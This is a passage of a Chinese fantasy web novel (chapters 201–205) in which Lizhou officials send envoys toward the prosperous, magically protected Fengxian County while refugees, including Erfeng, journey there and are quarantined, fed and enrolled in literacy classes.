——这种屁话他们就当没听见了,毕竟到了他们这个位置,都知道这话全是水分,没一点现实基础。 仙?哪有这样的东西存在,只是那厮用来巩固自己地位的借口,只是引起民众动摇臣服的一种装神弄鬼的手段而已。 既具体计划也确定,等到使者挑选好要带过去的礼品时,众人难免犯了难。 ——太贵重只有天子才能拥有,这种和陈京行一样半路崛起的贼子,他哪配! 但又怕给的东西不够,一是掉面子,二是对方会误会他们谈判的决心,这会倒是纠结犹豫。 正是此时,有人推荐将近期的“沼华灯”给那人送过去一盏,毕竟这玩意在他们黎州也算是新兴起来的珍贵物件了。 这么一想,倒是有送的东西了,除了那些金银珠宝外,最近涌入黎州的新奇之物,也被他们塞进礼品单里,打算到时候给对方一个小小的震撼。 既然礼品已挑选好,众人倒是稍微放心,据探子回报,那陈京行派出去的人已经前往了风仙县,他们立即紧跟其后,让使者立即快马加鞭赶去,除了使者,自然也配备了保护所送之物的官兵,这会速度倒也不慢。 此刻黎州城外,使者直奔城外而去,而前来运货的杜百倒是颇为感兴趣地看着那群人急匆匆飞驰而出。 黎州城的百姓都在看热闹,有眼尖的人马上看出来了,这会小声嘀咕:“哎呦,那可是宫里的使者,这急匆匆是要去哪儿了?” “别操不该操的心,这种事哪轮得到咱们操心。” “嘘——小点声,看这方向是明州,难道是给陈贼传信的?” 黎州众人倒也晓得陈京行此人,毕竟天下三分可不是说说而已。 这会各个猜测。 “不至于吧,若是给陈贼的话,倒也不必大白天就大剌剌出去,这不是让咱们多想?” 众人还在说话,杜百倒是陷入沉思。 ——他们说得没错,那方向确实是明州境内。 不过她眼下更需要完成的是交易,而非操这个心,这会带着东西到了谈天禄府上时,自然和往常一样,得到了对方的欢迎。 等二人坐下时,谈天禄倒是意外聊到了另一件事。 “贤侄可得给叔伯再多弄点这些新奇东西啊,日后说不定要常用。” 杜百适当表露出疑惑,却没能得到更多的信息,不过她倒也习惯,毕竟谈天禄此人一向嘴巴很严实。 第202章 端倪 杜百和谈天禄坐着谈论期间,她倒是偷偷关注过谈天禄在席间的动作和神态。 虽说已喝了一瓶她刚拿过来的美酒,但谈天禄并没有醉态,起码不曾显露出任何破绽。 等到她和对方告辞离去时,路过小道时倒是能看到府内仆从急匆匆快步而行。 各个手里捧着什么东西,看不清楚,盖着布子。 因杜百曾修过风仙县内仙师赐予的特殊炼体身法,听力比普通人好,这会将那带头人的话听了个七七八八。 “小心点——这可都是好玩意,要是一会摔了打了,坏了大人的好事,到时候可别怪我不留情!” 被挨训的众人忙点头,但天有不测风云,总有人不小心将手中的物什没捧好,这会跌落在地。 那东西从盖盖的布头下飞出来时,杜百看得清楚——竟然是她先前送过来的昭华灯,那灯罩在地面上滚了一圈,惊得众人纷纷停下脚步,只顾着去看那滚落在地的灯罩。 负责人脸色变了又变,不等闯了祸的小厮反应过来,忙冲上前去查看这灯具坏没坏,幸好看到没什么变化后,这才恼怒地一脚踹飞刚才没拿稳的小厮。 “废物!要你何用?平日里毛手毛脚也就睁一只眼闭一只眼过去了,这物你可知道有多珍贵?这可是咱们家大人要送给干爹的东西!你有几个脑袋能赔?” 那小厮忙跪地求饶。 “回刘管家的,小人今日实在是身体抱恙,没拿稳此物,小人该死!” 这会在惩罚落地前,自己先伸手狠狠抽了几个嘴巴子。 面颊瞬间红肿,眼神惶恐。 刘管家冷哼一声,更是嫌弃了。 “什么——?你带病还过来服侍大人?要是让大人也传染上了,你死几遍都不够,还不快滚回去等病好了上工?” 小厮忙磕头离去,刘管家倒是暗戳戳记了几笔——这得扣钱。 再说了,今日犯下这等大错,日后难免要将此人的工作内容变一番,毕竟伺候主子的必须得是那种小心细心的,头脑灵活的。 别说是他不给机会,而是这人呐,命不行,机会来了都抓不住,这样性子的,日后定要惹出麻烦,还不如现在赶紧换了才是。 这会刘管家带着人慢慢离开。 而看完了全过程的杜百则是心中略有思索。 不是很合理,毕竟那昭华灯原先刚送过来时,谈天禄就给所谓的干爹送过一份,现在再送,想来是有别的用途。 再联想到刚才谈天禄所说过的让她多给带来一些新奇东西,应当是他们用这新奇之物去讨好某人。 皇帝早就有了,那便是别的人。 眼下天下三分,无论如何,不可能是给其余两人的,但其余人地位又不够高足以让那魏公公送这样的大礼,思来想去,杜百倒是脑内逐渐生出一个荒谬的念头。 ——莫非他们是从哪打听到了仙师的存在,这会有可能是要去风仙县给仙师送礼? 再想到先前城门处直奔明州方向的使者,杜百原先还淡定的脸庞顿时凝固了几分。 所以说,风仙县被注意到了? 虽说仙人神通广大,但毕竟目前风仙县发展不过小一年,如何能比得过发展营运多年的朝廷?若那所谓的朝廷使者从中窥探到一些本县弱势之处,反倒会让她们陷入被动。 不过最要紧的是,她们得立刻先从这里离开,省得后续在黎州境内沾染上麻烦。 杜百本就打算离去,这会硬是保持淡定,却不动声色的带着队伍不曾停歇,但凡有人询问,她一律用家中有急事敷衍过去。 好在是当天就出了城,商队又继续走了许久,眼看是脱离了黎州的范围,杜百这才松了口气。 中途她乘坐马车时,早就趁机将自己的猜测告知方大人,想来很快方大人就能收到她的来信了,至于如何处置,如何管理后续事宜,这便不是她能操心做到的了。 商队的车马正保持着匀速前进,黑暗中,倒是有好几波流寇眼冒绿光的盯着杜百一行人。 “头,从黎州出来的商贩,这可是肥羊啊,大晚上还在赶路,想来队伍内的人手颇为疲惫。 若是做完这把,咱们兄弟估计能躺一些日子了!” 流寇头领正看着这黑暗中前进的商队,那商队打头的马车上正挂着两个小灯,在黑夜里和萤火虫一样透露出微弱的光。 虽说部下说得很有吸引力,但相比于动手,动手前的蛰伏打探显然更为重要。 这会看了又看,看这商队赶路虽说着急,但马夫脸庞并未带着警惕,反而是一种放松? 不是,等会,这表情不太对劲啊。 他揉了揉眼睛,怀疑自己看错了,再看过去时,发现对方不仅一点不谨慎,甚至还和马车里的人说着话。 那人看着瘦小,在说了几句话后缩回马车内,马夫倒是慢慢悠悠的将一块布料挂了出来。 这块布料呈现出明黄色,最中央写了个仙。 这会流寇头领看得汗流浃背。 等会——这黄色可不能随便用啊,再说了,这中央的“仙”字又为何意? 观那马夫和周围人均是一副轻松自得的模样,走夜路,还是远途行商之人,哪有这样放松的神态! 这便只有两种可能。 要么说这商队实在是新手,没出过远途,要么就是这商队深藏不露,对路程把控十分得心应手,压根不害怕出现流寇抢劫事件。 但具体是哪个,他却不能轻易定论,这会难免纠结。 其余人倒是没想这么多,只是看着杜百一行人颇为自得,心中也是欢喜得打紧。 “头,看他们完全是毫无防备啊,想来是第一次出远途,不晓得其中风险,看来今日我们有福了!” 看着蠢蠢欲动的部下,流寇头领果断开口。 “不行,不许出动,这商队不太对劲,再观察观察再说。” 其余人略微不满,但毕竟还是要听老大的话,这会也就忍了。 也恰是此时,另一队流寇跳了出来。 眼看着那商队毫无反抗力就被流寇逼入绝境时,流寇头领心中难免后悔。 ——失算了?本以为是个大佬,结果就这??? 眼看部下一副哀怨又不敢表现出来的模样,流寇头领难免心虚,但依旧为了挽尊故作警惕,嘴上说着“好好看着”,实际上这会在心里后悔得直打滚。 ——不是,这么菜还敢这么招摇?还让他一顿分析,结果却被别人捷足先登,简直让人心梗无比啊。 想到之后他还要哄部下,这会心态崩了又崩,难免幽怨地看着那商队。 ——别愣着,反击啊,好歹表现得难啃一点啊,不然他作为首领的尊严和颜面要置于何处??? 正是无比哀怨之际,却看那原本呈包围之势的那伙流寇此刻却在瞬间陷入劣势。 甚至他都没看清楚对方是如何动手的,只听一声惨叫,那群流寇竟然脖颈和脑袋齐刷刷分家。 再次瞪大眼睛去看,只能在黑暗中隐隐约约看到那抹几乎是同时消失的火焰。 火焰?怎么会有这玩意? 因为火焰出现的时间很短,他甚至都怀疑是自己看错了,这会大气不敢喘,屏气凝神看着对方的车马慢悠悠离开。 原先还对自家头领颇有微词,甚至在考虑要不要跳槽的流寇们在看到这一幕时,瞬间也觉得脖颈一痛。 ——擦,好悬,要是他们真那么莽撞去了,这会死的人就是他们了! 虽说世道难过,但谁都想活着啊! 而此刻,流寇头领则是顾不得看部下的表情,而是眼睁睁看着那商队在黑夜中走远,确定走得足够远后,他这才敢慢慢喘息,等到天光明亮之际,他大着胆子,和部下一起前去看看昨晚那处到底是发生了什么。 昨晚那一幕并非他们一支流寇看到,其余人也慢悠悠试探着走了过来,试图也看看昨晚到底发生了什么,这会几支队伍慢慢靠近,目标均是昨夜事发当场。 本以为会看到满地血腥,但当他们走到那处,不仅没看到尸体,更是连一丝鲜血都不曾看到。 明明天气逐渐转热,但不知为何,他却觉得后背一阵发凉。 ——不可能啊,昨晚那商队压根就没停下来收拾过尸体,那脖颈断裂时喷溅出来的鲜血可是不少,这会怎么可能会一点痕迹都没有? 这会不死心,又对着地面看来看去,确实没看到自己想看的东西后,难免沉默。 脑内却不受控制的回想到那明黄色布料上写的那个“仙”字。 难不成,他们真是遇到了什么鬼怪之事? 亦或是真是仙人显圣? 很快,昨夜诡异之事便在附近的流寇传了个遍,有道是若遇到一挂着明黄色布料,其内写着“仙”的商队,千万要避开,不然便会人首分离。 其实昨晚,杜百压根都没怎么操心,毕竟自从商队被纳入仙师麾下后,若有来犯的流寇,不等他们动手,便先会被仙法反杀。 想到昨晚那群流寇,杜百难免心生后怕。 那群流寇数量不少,就算商队有能力抵抗,但强行抵抗也只会两败俱伤,而暗中窥探的流寇可并非那一支队伍。 这就像在丛林中,受伤的猎物会吸引来一群财狼虎豹。 但有了仙法庇护就不同了,昨夜那场胜利不可谓不轻松。 不仅仅是杜百,商队其余人也是赶紧摸出来仙师的画像虔诚拜了又拜。 得亏是仙师了,不然这远距离行商绝对是件危险至极的事,但现在受仙师庇护,这行商不过是路途遥远,颇为磨人而已,倒不至于有生命危险,其中差距不可谓不大,不说别人,至少商队中就没有不信奉仙师的。 毕竟各个心里都有杆秤,若不是仙师庇护,他们如何能过上这般安全的,只需要卖力气就能做的活计?以往行商,哪次不都是把脑袋别在裤腰带上过活? 这会不说别的,至少都想着要给仙师烧香,好好跪拜供奉一番。 苦兮兮画符的景旭宫外门弟子:???不是,滤镜别太多,那是俺们画的啊喂! 第203章 探路 黎州城附近很快传出去新的消息,大大小小的流寇也知晓了这一行业内幕。 那便是黄色布料上写着“仙”的商队千万不能动,不然会死。 这一消息越传越邪乎,传到后来竟然传成了只要是看到这“仙”字商队,必须在第一时间避让,不然超过一炷香,便会遭遇不测。 杜百:???这消息到底谁传出去的,怎么还添盐加醋的? 而一众流寇是真信了,毕竟不得不信啊,那日可是有不少流寇亲眼所见,若这都不算一份警告,日后恐怕自己距离死亡也不远了。 话说回先前被廖尚书赶走的那些死士的家人。 原先他们全都是靠着廖府的银两讨生活,但谁能想到,自家儿子,自家丈夫替廖府卖完命,这廖尚书竟然将他们赶走,他们本就在这黎州城内生活,全身家当也都在此地,若是被赶走到别的地方,哪里还有活路可言? 哭着求着,负责前来处理他们的人却依旧狠心,将他们全都赶出黎州城,不说给什么抚恤金,就连原先让他们住着的住宅也要收回去。 一时半会,这些死士家属均被赶出黎州,这会倒是意外的在城外相遇了。 这会几番试探,众人倒是互相拼凑出了一番真相,纷纷得出结论——这姓廖的也太不是个东西了! 但这会没办法,只能在这乱世中报团取暖。 毕竟报团取暖人数够多,可比单打独斗强多了。 这会一众人好不容易定了个目的地——黎州的边境,遂城,打算先前去那里,毕竟听说遂城暂且还算安稳。 路上他们运气属实是一般,遭遇了两次流寇,钱财被抢得精光,好在是因为家中贫困,人饿得脱相,这才没能让流寇抢走女人。 但期间试图反抗的人却被流寇杀死了不少,存活下来的人可谓是运气十分不错。 等到好不容易到了遂城,一众人镇定思痛,想看看有没有机会在这里落脚,慢慢求生时,却发现不行,这遂城虽说比较安稳,但这里太排外了。 不说别的,他们竟然是连遂城的城门都进不去。 那城墙上站立着数个持弓箭的官兵,若是谁敢迈进去一步,便会被射成筛子。 别的通融手段也没有,毕竟遂城严格遵守不让外人进入的政策,当然只是不让他们这些流民进入,若是官员,商人,还是依旧可以正常来往的。 本以为赶到遂城就能重新开始新生活,这会众人却被这变故惊得愣在原地,明明是正午的太阳,却忍不住浑身发冷,抖得和鹌鹑一样。 当然,被拒的并非他们,还有不少从别的地方前来的流民们也被拒在门外,这会各个愁眉苦脸。 他们这一众人也是从前面退了出来,忍不住叹气。 这纯粹是意外,谁知道这遂城竟然不让入城呢? 眼看日头已经中午,他们必须继续赶路,而非在这城门口浪费时间,不然夜里赶路更危险。 这会围聚在一起,先讨论下一个目的地要去哪儿。 男人们负责此行的目的地,而女人们则是负责奶孩子,照顾老人。 而这期间,一个瘦得脱相发黄的女人却意外听到不远处有人也在谈论前去目标。 那几人说话声音很低,但说出的话却被她一字不差的听到了。 她从小听力突出,这也算是她赖以生存的能力。 先前流寇来犯时,也是她半夜听到马蹄声,匆匆叫醒众人逃命。 那两人的声音很快传到耳朵。 “我们能去哪儿啊,这遂城竟然这么不当人!简直根本不把我们这些小老百姓当人啊!” “并非遂城一城这般,只要是黎州内的城镇,目前大都选择了关闭城门。” 说这话的人明显看着要更冷静一些,虽说也饿得看着狼狈,但说起话来倒还算是有条理。 女人继续竖着耳朵听下去。 “武哥,你有什么话就说了吧,反正我们也没处可去,就算是送命的地方我们都认了。” 其余人说话声有气无力,这会各个心神疲倦,倒不是说气话,而是真是这样想的。 毕竟人人都想寻一个归宿,但若是找不到归宿,那便在找归宿的路上死去算了!这世道活着有什么意思! 已然是破罐子破摔。 被人叫做武哥的男子摇头劝他们。 “事情还没你们想得那么糟糕,昨天我意外得到一消息,说有一地方正在招收流民,且那地能吃饱穿暖,还能赚工钱,比较远,在明州境内的风仙县。” 听到武哥说出这话后,几人难免心神不安。 “真有这么好?” “是啊武哥,真这么好,你怎么还这么纠结呢?难道是因为太远?但若那明州境内真有此好地方,咱们就算是死在路上,也不能在这些破地方浪费时间才是!” 被叫做武哥之人叹息一声,慢慢开口:“不知道是不是我多虑的缘故,你们听我说完再做考虑。 那风仙县不是不好,而是太好了,好得让我不相信那地方是真实存在的。 据说那地方最低日薪是一百文,食盐两文钱一斤,人人在那里都能读书认字,且都有工作,可谓是吃穿不愁。 更令人诧异的是,那里的女人也能出去工作,工钱甚至要比男人还高,据说风仙县女子的地位要比外面高得多。 但我甚是不安,毕竟这地方听着和神仙住的地方一样快活,万一去了发现根本就没这个地方? 或者更坏的,这地方压根就是个圈套?为兄是在忧虑这些问题。” 经过这武哥这么一说,原先还激动的几人顿时也头脑冷静下来。 ——确实,武哥担心的不是没有道理,这任何一条听上去和天书一样,绝非不像是这世道能存在的啊! 一时半会,几人也略有纠结。 而偷听的女人则是微楞片刻,陷入沉思。 不得不说,这武哥的话确实给她带来了冲击,只是这样的地方真实存在? 若真实存在的话,那她就算是爬着也得爬到这风仙县去。 这会那几人还不曾下定决心,她先下定了决心。 ——得去,毕竟日头越来越偏,时间不多了。 这会有人喊她:“二凤,过来,咱们得走了。” 她忙应了一声,快步过去。 “那目的地定了?去哪儿?” 她想先听听对方要去哪儿。 来找她的是她的邻居小媳妇,原先脸圆圆的,后来倒也饿得脱相了不少,看着人都老态了几分。 但她笑起来时倒也恬淡。 “哎呀,他们大老爷们定的,我只是听他们说要去明州试试,毕竟黎州咱们没法进,幽州太苦寒,只能去明州了。” 听到目的地是明州,其实二凤并不吃惊,毕竟也只能选择明州了。 这会点头,等和圆脸小媳妇各自跟着大部队前往时,她倒是趁机找了其中负责带队的几人,向对方先说明刚才她听到的消息,毕竟她们这一队伍是互相帮助,互相扶持的关系,若在这个时候还要藏着心眼子,那便是真的不识时务了。 听到二凤说的话后,这几人先是面面相觑,而后互相低声交头接耳后又缓缓开口:“二凤,不是我等不信你,而是这地方属实是离奇古怪,你可曾想过,这地方若是真这么好,怎以前没人说?” 这话让二凤其实也噎住了。 毕竟她也是道听途说,但心底有个声音在反驳他们,一种感觉,一种第六感告诉她她得去。 但眼下也不是和对方争吵的时候,毕竟她还带着弟弟妹妹呢,要是还没到所谓的风仙县就先死了,这才是最大的笑话。 这会倒也不再坚持,只是说了几句软话。 “我也是听到了随口一说,各位别太在意,不如咱们一路走一路打听,那明州境内或许有更多的这城镇消息呢?” 这话说得很有道理,几人倒也同意,于是队伍就这样上路了。 而先前以武哥为首的几人小队,此刻仿佛也想通了,倒也上了路。 因为两支队伍距离很近的缘故,一来二去,双方倒是熟悉了不少。 但双方都只知道对方前往明州,但都不知晓各自的目的地。 这会只是做个伴而已。 一路赶路,好在遂城本就在黎州边境,这会很快便进了明州境内。 武哥开口道:“这进了明州内咱们可得小心了,那陈总司麾下的城镇可是不少,若是不小心进入他管辖的城镇,咱们就算是不死也得扒层皮。” 其余人自然也是听过陈京行此人,因都是从黎州来的,听到的版本也是大致相同,像什么陈京行此人心狠手辣,日常纵容属下烧杀抢掠,简直是无恶不作。 这会两方交谈后,武哥无奈道:“倒也没黎州传的那么邪乎,他不是日日都杀人,但却允许部下入城后抢杀三天好鼓舞士气。 为何说不能落到他手里呢,主要是因为这人太擅于压榨,若被他掳走,那一天要干的活可太多了,听说在他县下累死的,饿死的人可比被杀的人多太多了!” 在听到武哥颇为警告的一番话后,众人各个警觉起来,这会就连行进方向都尽量选择避开了大城镇,选择从靠近山区的小城镇边缘通过。 力图竭力远离陈京行的领地。 武哥还在给众人科普。 “我听说这明州除了那陈京行,还有一义师军的队伍也颇为凶残。 若说那陈京行是慢慢折磨你,那这义师军便是给你个痛快,他们可都是见了人就杀,就抢,若是遇到了,我们可就” 他没说话,抬手做了个抹脖子的动作。 一时间众人难免脸色惨白。 心中微微绝望。 黎州不允许他们进城,这明州境内竟又如此凶险,他们还能活下去么? 武哥倒并非吓唬他们,而是他这消息也是从别人口中听来,但他并不知晓的是,这消息都是好几个版本前的消息了,毕竟起码义师军早就被杀得不成气候了,毕竟陈京行此人甚是心狠手辣,被他逮着机会咬一口,不咬死人不姓陈。 因有武哥提醒,一路上众人倒是打起十二分精神,不敢闲谈,只顾着赶路。 眼看关系逐渐好了几分,双方倒是互相交换了目的地,听到武哥一行人果然是打算前往那风仙县时,二凤竖着耳朵,继续听自家队伍的想法。 本以为或许他们会回心转意,也一同去那风仙县,但可惜的是,她并没听到自己想听的东西。 领头的人说了个别的地方,好像是一个叫做梁县的地方,二凤不关心,她只知道自己想去风仙县。 因风仙县位于明州边境,路程较远,所以他们两支队伍在中途要分别了。 眼看不能再耽搁,二凤鼓起勇气,和负责领队的张老开口提议。 “张老,我们为何不和武哥他们一同前去风仙县呢,武哥知晓这么多,定要比我们消息更灵通啊。” 这会即将分别,那武哥一行人正在后面,她说这话自然是避开武哥一行人的。 张老忍不住微微蹙眉。 “二凤,你还太年轻,他是消息灵通,但消息灵通有时候不代表机会,也是风险啊,先前我和他说了,若是风仙县确实不错的话,还请他给咱们传递信件,你别急,既然我张某负责带队,定会把咱们都活着送过去。” 二凤忍不住急得跺脚。 “张老,人家凭什么就要帮咱们呢,咱们又没钱给人家,若是那地方真好了,人家定无心给我们回信。不入虎穴焉得虎子,张老,我先跟着去看看,只是我的弟弟妹妹麻烦张老您看管几天,若是我得到消息了,定会第一时间告诉您。” 其实若能不冒险,她也不乐意去,但确实如同她所说,若风仙县好了,人家为何要告知她们? 且就算留在梁县,以她的能力,也很难养活弟妹,不如出去试验一番,就算身死,也希望张老能念着这情分替她照顾一番弟妹。 张老倒是没想到二凤居然这么执着,其实他也有思索过这问题,本来也是想给点钱的,可惜囊中羞涩,实在是拿不出钱来。 本也在为此事发愁,这会竟没想到二凤竟然会提出此要求。 第204章 没死 就这样,张老从队伍里挑挑拣拣弄出一匹驴子让二凤骑着,毕竟这已经算是难得的交通工具。 二凤倒也不虚,这会和武哥等人说了几句恭维的讨巧话,一行人倒是先上路了。 虽说以往男女有隔,但眼下都逃命的时候,且双方都一副饿得脱相的模样,倒也不在乎这个,这会武哥坐在他们一行人的小车里和二凤有一搭没一搭说话。 越是聊天,倒是越发现二凤这人说话还是挺有趣的,至少要比那张老有趣。 ——大胆,眼光较为长远。 这会倒也不觉得和她结伴而行算是负担了,尤其是张老还给他们几人多塞了几日的干粮算作带二凤前去的报酬。 好在是从梁县再次赶往风仙县时,倒也算不上距离很远。 一行人小心翼翼,没日没夜的走了有三天,总算在晨光初起时看到了那风仙县。 这会一行人正是心情激动——没想到还真让他们成功走过来了! 其实说实话,还没等到风仙县时,他们倒是发现前往风仙县方向的流民数量多了起来。 起初还觉得是意外,但越往后,眼睁睁看着那人流量慢慢上涨,一行人这才放轻松。 ——既然有这么多人去,可以说风仙县的风险一下就降低了啊。 反正大多数时候肯定是人多了好办事,流民数量一多,说句难听话,哪怕是路上遇到流寇了也不用害怕啊。 其实流寇也不会来打劫流民,毕竟连饭都吃不上的人,想来流寇没什么心情抢劫。 毕竟总得抢点什么东西吧,这流民又穷又干巴,饿得脱相分不清男女,带回去也是多了一口嘴,不能干活,说不定身上还有别的疾病,简直是毫无用处。 所以其实流民队伍行进时倒是意外的安全,绝大部分流民要担心的事是不要生病,不要饿死,不要被野兽袭击,遇到流寇的概率相对来说还是很低的。 噢对了,还得有点运气,毕竟得绕开陈京行这样的,或者是义师军这样见到活人就杀的,综合算下来,其实不少流民均会因为各种各样的原因而倒在半途。 好在他们这三天运气还算可以,除了时常饿肚子外,别的意外倒是没见有过。 为了避免人口数量太多爆发疾病,他们一行人不远不近的和大部队隔开一小段距离,不过中途倒是听到了不少消息。 这些流民基本上大部分是来自于明州其他县城的,都是在老家活不下去了,这会才选择出来前往风仙县碰碰运气。 毕竟有不少唱着风仙县的戏曲将此地宣扬得确实宛若仙境,在这中间,也有不少人看着更为稳重。 武哥稍微打听一番,这才发觉这些人竟然是风仙县内早就安顿下来的朋友或者是亲属传信后,这才过来投奔的。 得知这一消息后,一行人都放松了几分,看来这风仙县往外放出的消息十有八九真是真的。 毕竟道听途说比不上身边真有亲近之人传递消息来得可靠啊。 等到一行人终于到了风仙县时,不说别人,起码二凤是被眼前的风仙县吓了一跳。 ——亲娘啊,这这风仙县这么大?这可和她们呆着的黎州元城看着都快一样了,但元城毕竟是黎州,毕竟是天子脚下啊,这风仙县不过明州边界一小县城,如何能这般大? 这会武哥一行人也在呆愣。 心中想的都差不多,只是感慨这城门可比自己想得大多了。 实际上,目前的风仙县刚扩建完第二轮,整个县域面积是原来的三倍。 期间动用了不少流民负责新盖政府部门和居住区,直到第二轮扩建完毕,这才逐渐将多余的流民引流至别的县域继续进行改造和恢复生产。 这会二凤观察着,想看看这风仙县让不让进,眼睁睁看着那城门守城的官兵开了门,流民乌泱泱一片,却被厉声呵斥着排队。 “哎,排队啊排队,人人都能进,若是不排队想插队的,今天说不准才是进不去的那个——” 这声音颇为雄厚,穿透力极强,原先还在拥挤的众流民在听到这话后各个呆愣,不等继续动作,已经有官兵出来负责维持秩序。 二凤注意到官兵的动作异常熟练,想来这种事已经做了多次,成习惯了,这会忙喊武哥他们赶紧过去排队。 等排着队,接受检查时,她倒是看到前面那些流民被分批次带走,但目的地不明,这会不免紧张。 官兵查阅速度很快,不像其他地方一样磨磨唧唧,态度凶狠,这里的官兵看不清楚脸,围得严实,且举止更为克制? 二凤思索了半天,好容易思索出一个词来形容这种奇怪的感觉。 对,就是克制,这些官兵看着更和善一些,不像是她记忆里的那些官兵,总是一副凶巴巴,想要占便宜的凶狠贪婪模样。 武哥显然也发现了,两人对视一眼,均从对方眼里看到了放松。 等到二凤被和武哥一行人归拢成一队,被官兵带着锁进牢房,就听那领头的官兵严肃开口:“这便是隔离你们的地方,主要是为了避免有紧急疾病爆发,需要观察三日,无碍后才能将你们放入城内。” 看他们一脸紧张,官兵倒是尽职尽责解释。 “往左右两边看看,窗户外的那些房子也是用来隔离的,这是初次进入本县的筛选而已。 等到中午会有人过来送饭,你们等着便是。” 官兵说完这话后便急匆匆离开,看着像是每日活计很多的样子。 留下他们一行人大眼瞪小眼。 二凤透过窗户,果然看到有一个个简陋的小房子,想来确实如同那官兵所说,这便是隔离之用。 倒是对方说的还管饭让她有些摸不着头脑了。 这风仙县粮食足够?竟然能多余到给流民们吃? 她一路走来,只有黎州境内勉强能做到让城内居民不至于饿死,但也不会说粮食会充沛到足够给外来人吃啊。 但换个角度想想,有可能是因为看她们一副快饿死的模样,所以先给点吃的,等日后的话,再慢慢还这顿饭菜? 武哥一行人在片刻惊讶后,也很快和二凤想到了一块。 但当午饭被端出来后,看着那蒸得热乎乎的番薯,还有一个菜能吃时,一行人不免震惊 这东西为何物?没见过。 不过倒是比想象中给的吃食要看起来好啊。 二凤小心翼翼的捡起一根番薯,这会也是饿急眼了,再加上也不懂这番薯还要剥皮,只顾着往嘴里塞。 这玩意看着不太起眼,谁能想到却被口腔内传递回来的甘甜冲击得呆愣在原地。 这会无意识咀嚼了几下,瞪大眼睛看着武哥几人。 “这里面放了糖,还不少。” 其余人一听自然也跟着将番薯塞进嘴内,立即被这甜滋滋的口感征服。 “这玩意我以前不曾吃过!这么甜,得放多少糖啊!” “这到底是何物?看着和小麦粉差不多,难道是面粉里加糖了?但为何不做糖心馒头,要做这个形状?岂不是更费力气?” 有人不免疑惑。 “不是,这吃起来也不像是糖心馒头啊” 疑惑归疑惑,一行人都吃得香甜,尤其是配合着那道炖菜。 “这炖菜内这物我也不曾见过。” 一人夹起来一块白嫩嫩的豆腐,一脸好奇,这会另一人则是打飞他的筷子,大口往嘴里塞着,冷哼嘟囔:“好吃,还能填饱肚子,你管那么多干啥,这么较真,你怎么没去当个书生去。” “哎你个蛮人” 一行人吵吵闹闹着,气氛倒是多了几分活人感,武哥动作迅速的吃着饭菜,内心好奇,但更多的是对三日后风仙县的向往。 毕竟刚进来就能吃到这般味美的吃食,想来那一路上听到的关于风仙县的传言有极大可能是真的。 而二凤则是从未有吃得这样满足的时候,这炖菜舍得放盐,还舍得放油,香得她都要将舌头吞下去,这会吃着番薯,一时间只觉得自己是真来对了,毕竟她原先在黎州城内,因粮价高的缘故,她其实一直没怎么吃饱过。 无论是盐还是油,都贵,所以她做出来的东西都是寡淡无比,哪里比得上眼前这吃食。 等到三日一过,一行人很快便被放出来,直接塞进扫盲班内。 初闻这扫盲班存在的一行人简直像是被雷劈了一样 没听错吧,这风仙县居然免费教他们读书认字? 不说别人,就连最淡定的武哥都绷不住问扫盲班的负责人。 “这可是真的?这学堂不,这扫盲班竟然要教导我等认字?” 武哥虽说消息灵通,但他却也不曾读过书,毕竟黎州学堂岂是什么阿猫阿狗都收的,像他这样的,一来是背景不够,二来是家中窘迫,没钱支撑他读书。 这扫盲班负责人笑着解释,毕竟天天得解释许多遍,这会早就习惯了众人的疑惑不解。 “只是扫盲班是免费的,这扫盲班只是教导你们学会最基础的拼音,乘法口诀表,还有在本县生活最基础的认知等等。 若是想要学更多东西,那便得去学堂学习去,本县学堂不限制性别,背景,年龄,只要想去,便能去。 不过学堂一年需要缴纳一两银子,之后便不再需要继续缴纳其余费用了。” 武哥瞪大眼睛,惊得直掐自己大腿,还怀疑自己在做梦,这会说话有些哆嗦。 “——一两银子?一年?” 等等,他一定还在梦里,不是,就算是做梦他也不敢这么做啊,什么梦里他敢做一两银子就能上学堂的梦了??? 不说束脩费,就单论笔墨纸砚,书本费用也是一笔大钱啊!反正要远超过一两! 二凤也在震惊中,她不知晓上学具体花费多少,只是震惊于学堂竟然招收女子。 “女子也能去学?” 负责人对他们的反应早就脱敏,这会淡淡点头:“确实如此,一年一两,男女都能去学。更多的东西你们听完扫盲课会更清楚,这会先进去登记吧。” 迷迷糊糊被人推着去了屋内登记,因今日时候太迟,他们一行人先被送到了暂时居住的地方休息,第二天去上所谓的扫盲班。 武哥还在兴奋中 ,二凤也不遑多让,这会只想着趁机打听溜达一番,若是这里真那般好,她得赶紧写信回去才是! 这会她正要考虑去附近转悠时,却看到了一熟悉的人。 ——头戴深色斗笠,这走路的背影,她一看便知道是谁。 邻家的初六哥,以往据说是廖尚书手下的得力干将。 本以为廖尚书既然将她们这些家属们都赶出黎州城,那便是他们这些死士是彻底死了,但谁能想到,眼下她居然还能看到熟悉的人?那岂不是意味着他们并没死? 第205章 没了 二凤还在思索要不要过去喊他,毕竟初六哥前面还跟着官兵,看着像是犯了事的,这会也不敢贸然上去,生怕惹来麻烦。 她在犹豫时,黑色斗笠却冥冥中感觉到了一股注视,这会不免回头去看,只是看这一眼便微楞在原地。 ——邻家妹妹,二凤。 但为何会在这里? 黎州距离此处尚远,她一个小姑娘家家的如何能大老远来到此处? 有许多想问的东西,但是又不敢开口,生怕惹来官兵的盘问。 这会一时间心头恍惚,不敢细想。 倒是两人互相对视了一眼,这会二凤瞪大眼睛,很快就明白了初六哥的意思。 那意思是明日在此处等他。 被官兵带着返回牢房时,黑色斗笠还若有所思 二凤能来到此处,这可不是个好事,到底是廖大人那边出了问题,还是整个黎州遭了灾? 不管是哪种情况,他娘可还尚好? 这会心思不宁,直到晚上休息也没能休息好,等到第二日被官兵送到上工的地方后,他趁官兵不备,试探着往昨日遇到二凤的地方走了走。 或许是这禁锢检测到他没有想逃跑的念头,倒是并未阻止他,又因昨日那地和他上工的地方很接近,他很快便来到了此处。 来的时候他还有些担心,毕竟害怕二凤没理解他昨日的眼神该如何是好。 但隔着老远,看到昨日那抹熟悉的身影后,他这才松了口气。 二凤则在看到他过来后忙凑上去问他。 “初六哥,你们还活着?这到底是怎么回事?” 初六也是一肚子话想问,先迅速回答了二凤的问题:“都活着,只是不能离开这里,你是怎么回事,为何会千里迢迢从黎州来到风仙县?可是黎州有何变故?” 二凤叹了口气,又愤愤不平将廖尚书此人所作所为告知他,这会气鼓鼓:“那廖尚书太过分,需要死士时就好好待我们,这会眼看你们死了,就将我们全部赶出黎州,其余人在长老的带领下在梁县等我的消息,我先来风仙县不过是先来探探路而已。” 等等——廖尚书竟然将他们的家人全部赶出黎州?这事可是真事? 先前邻家大哥的温和不再,想到父母后,他脸色不免难看了几分。 